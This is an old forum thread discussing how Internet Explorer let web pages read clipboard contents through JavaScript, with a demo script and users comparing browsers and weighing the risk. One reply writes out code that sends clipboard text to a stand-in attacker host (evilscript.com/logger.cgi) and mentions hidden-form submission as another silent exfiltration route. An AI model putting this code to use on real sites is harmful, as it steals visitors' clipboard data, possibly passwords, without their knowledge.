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Security Issue With Ctrl+c/copy On Clipboard

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Open Discussion > CONTRIBUTE > Computers > Computer Security Issues & Exploits

Security Issue With Ctrl+c/copy On Clipboard

OpaQue
Its a Javascipt code. So, if they want to use it, they have to pass this again to the server by making you click something or submit some form. However, anyone who is interested in how this thing works, can check this out.

The Code used on that site is.
CODE

<script Language="JavaScript">
var content = clipboardData.getData("Text");
if (content!=null) {
document.write("<center><font size=5 color=red>WARNING, TEXT RETRIEVED:</font> (see below)<br><br><span style='background-color: #FFFF00'>");
document.write(content);
document.write("</span>");}
else {document.write('<center>No text found in clipboard. This is a good thing!<br><br>Works with Internet Explorer and Netscape.');}
</Script>

However, What we have to note is, there is this small javascript object "clipboard". Using the method, Gettext, one can retrive values of it.

CODE

clipboardData.getData("Text");


QUOTE
sRetrieveData = object.getData(sDataFormat)

getData Method

Retrieves the data in the specified format from the clipboard through the dataTransfer or clipboardData objects.

 

 

 


Reply

iwuvcookies
I just search those well known sites so i'm not in that shallow water. But I'll do it in case if something does happen. You can never to be too sure. I never even knew things like this can be done. gosh i'm so cmoputer retarded. thanks again for showing us this.

Reply

Rosuto
Well, it doesn't work on FireFox, only on IE... is it still in the clipboard on FireFox even if it doesn't work?

Reply

Adrian
Well... I've tried this on firefox and I just got a blank field. Now I've tried it on Internet Explorer and showed up the line that I got in my clipboard. It really is a security issue for Internet Explorer users. Thanks for letting us know the sollution to it ;-)

Reply

Dynomite
That will all only work if you use Internet Exlporer or a crappy browser like it, so those of us who use FireFox are protected from it by default, unless you can find an extension for FireFox that enables that.
It just goes to show you Internet Exlporer is useless trash...

Reply

Revolutionary.
Eek, how many malicious sites are stealing these things from your clipboard? I'd imagine that I'm either not in with the computer scene but I've never seen or heard this kind of exploit mentioned before.

A very interesting find, I'm playing around with it now. Thanks. smile.gif

Reply

SystemWisdom
Wow! Thx for posting that! It is scary enough without knowing that it is mainly one line of code:

var content = clipboardData.getData("Text");

I will be experimenting with this real soon!! biggrin.gif

Reply

mendezgarcia
I knew this and other JS "handy" scripts wink.gif
This "exploit" isn't too dangerous , for many reasons:

1. They must know what is in the Clipboard, and IF it was a password (1 chance in 10^5 in my case) from which of the billions of websites on net. Additionally, they must know what was your username.

2. They can log the clipboard ONCE. Supposing it (the clipboard) is posted to a script and logged, if the "hacker" wanted to log you again would have to redirect the script back to the JS script (or print it directly).

But it would log the same thing again if the Clipboard didn't change. This would eventually slow down the victim's connection or crashing him/her computer. Thus, he/she would never visit your site again.

3. In order to log your Clipboard for a long time , the exploiter would have to keep you visiting his site. Not an easy thing, and in this case, there is the also point "2".

A side note, Firefox doesn't support ANY clipboard command. Aside from accessing its content, you may use JS to change its content. none works with Firefox, and I don't know if this is a good or bad thing.

Conclusion: This is an "exploit" that will be hardly used, and even hardly it will succeed. I personally don't worry, also because I don't copy and paste my passwords.

 

 

 


Reply

mendezgarcia
QUOTE(OpaQue)
So, if they want to use it, they have to pass this again to the server by making you click something or submit some form

There is no need to use this.
CODE
var content = clipboardData.getData("Text");
document.location.replace('http://www.evilscript.com/logger.cgi?log='  +content);

What would redirect you to http://www.evilscript.com/logger.cgi?log=H...isIsMyClipboard
And retrieve the value using GET. Or also create a form with hidden values, method=POST and submit it (using setTimeout and form.submit )

There are many ways to silently send the log.

Notice from cmatcmextra:
Fixed quotes. Please form quote tags in future as follows:

CODE
[quote=Person or Company Or Site Etc]QUOTED TEXT[/quote]


Forms.....

QUOTE(Person or Company Or Site Etc)
QUOTED TEXT


Reply

OpaQue
I am not soo good at Javascript. But yes, that will also do the trick.

Reply



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